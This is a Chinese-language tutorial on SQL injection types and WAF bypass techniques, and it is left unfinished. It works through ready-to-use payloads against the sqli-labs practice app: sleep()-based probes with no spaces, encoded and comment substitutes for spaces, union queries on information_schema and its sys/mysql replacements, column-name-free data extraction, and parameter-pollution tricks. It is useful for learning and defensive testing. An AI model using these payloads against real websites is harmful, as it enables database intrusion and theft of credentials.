sql注入可以说是非常成熟的攻击手段了 对其的防御体系也很完善 据owasp统计 存在注入类漏洞的网站不超过10%
首先我们了解下sql注入的类型:
分为直接有回显的:
- 联合注入: 通过联合查询语句进行信息的查询 需要页面回显数据
- 报错注入: 需要页面存在查询语句报错回显
- 堆叠注入: 需要数据库支持堆叠查询格式
没有直接信息回显即盲注: - bool盲注: 页面没有回显 通过sql语句表达式判断 并根据页面内容变化判断表达式是否合理
- 时间盲注: 页面没有回显 通过sql语句表达式判断并加入时延 通过时延判断表达式是否成立
从注入内容分: - 数字型注入: 传递的参数会被当做数字处理
- 字符型注入: 传递的参数会被当做字符串处理
区分数字型注入或者字符型注入 可以利用and表达式进行判断 如果为字符型 不论条件真假 都能查询并且得到结果 如果为数字型 如果and条件没被满足此时将不会显示结果
这里使用经典的sqllib举例:
-
字符型:
条件满足:
条件不满足:
-
数字型:
条件满足:
条件不满足:
或者我们可以利用数学运算来判断传参类型:
显然 如果是字符型 减法运算后查询的结果应该仍为dumb 说明该参数类型为数字型
为了了解绕过思路 我们先来了解下联合注入的常规流程:
首先查找注入点的存在 一般为搜索,登录栏等
判断注入点的类型 为字符型还是数字型
尝试闭合方式 括号,引号
通过orderby groupby 查询列数
判断回显位置 通过联合查询 得出回显信息的位置
通过联合查询得到信息 这里有一个非常关键且常用的数据库:
information_schema这个库中常用的表有columns 还有 tables
这两个表结合起来 可以查询出特定数据库中的表名以及表的列名 可以查出特定的数据
常用绕过方法:
- 空格绕过:
首先我们可以进行空格是否被过滤的判断:
使用延时注入来判断
id=(select*from(select(sleep(5)))a)#
这段sql语句完全不存在空格
时延大于2 说明该语句触发了sleep 这时在语句中加入空格 如果没有触发sleep说明空格被禁用
空格绕过:
- 思路一:编码绕过
%20 %0a %0b %0c %0d %a0 %00 %09
这些编码有时可以代替空格做截断,具体情况具体分析 - 思路二:符号绕过
采用其他符号代替空格
回车的编码为:%0d%0a
括号则很简单 直接使用()将查询语句隔离开
反引号 ``包裹表名列名
常用内联注释/**/
代替空格
引号绕过:
双引号和单引号一般情况可以相互代替
有时可以使用十六进制形式进行查询
不过waf一般更关注是否存在查询语句 而不会关注编码形式
下面说几种不是很有效的绕过:
- 大小写绕过:
古早时期可能会存在 但现在一定不会出现类似的错误 - 浮点数绕过:
有时waf匹配参数只为整形 使用浮点数可以进行绕过 - null值:
\N是null值 有时会突破正则的限制,但大多情况下waf的正则会进行字符边界的限制 - 条件判断符号
and or not xor 这四种条件判断符都是非常常用的符号
常常等价替换为符号
&&与 ||或 !非 |异或
有时也会用in来代替判断表达式 in也可以代替等号
比如大于等于2小于等于3可以表示为in(2,3)
有关联合查询的注入绕过:
我们要想绕过 首先得了解注入的手段 以及waf是怎么进行防御的
注入语句实例:
id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security' --+
上面是一个很经典的联合注入示范
我们了解到 waf通常会对information库进行防范
关于这个库的绕过方法:
首先我们着眼于有没有其他库可以代替
sys.schema_auto_increment_columns //自增列名
sys.schema_table_statistics_with_buffer //统计buffer
mysql.innodb_table_stats //innodb引擎的数据库统计
mysql.innodb_table_index //innodb表的节点信息统计
在5.7以后的版本中 以上的表都可以代替information数据库查出表名
获取表名后如何查询我们想要得到的数据呢:
此时我们无法准确获取到列名 可以简单地尝试下常见的列 username password等
最终都是为了查询到目标数据
我们可以使用连表查询 将数字与表进行结合 用数字来代表表的列名
mysql> select 1,2,3 union select * from users;
+----+----------+------------+
| 1 | 2 | 3 |
+----+----------+------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
经过联合查询后 表的列名变为了1,2,3
这个时候只需要将这个表作为一个整体进行使用:
select `2` from (select 1,2,3 union select * from users) as a;
+----------+
| 2 |
+----------+
| 2 |
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
+----------+
不需要列名 照样爆出了数据
id=-1' union select 1,group_concat(s),group_concat(z) from(select 1,2,3 union select * from users)as a--+
当反引号被禁止使用时 可以给列起别名
id=-1' union select 1,group_concat(s),group_concat(z) from(select 1,2 as s,3 as z union select * from users)as a--+
效果一致
使用去重函数:distinct
这个函数可以打破正则匹配的限制,加入这个值可能会让正则无效
这里重点推荐下:
脚本语言绕过:
在某些后端环境下:如php 同一个变量的值前一个的值会被后一个值覆盖掉
?id=1%00&id=2 这就要看后端怎么处理数据了 此时第一个id绕过了waf 第二个id落入后端进行处理 这也是比较经典的绕过 曾在daiqile平台出现
join注入绕过:有时不允许直接查询数据,此时可以使用join函数
有时候后台的sql语句会限制行数 用limit函数 limit0,1
limit 1 offset 0 这两个查询的效果一致 都是从第零行向后截断一行
可以省去逗号
报错注入:
未完
盲注绕过
未完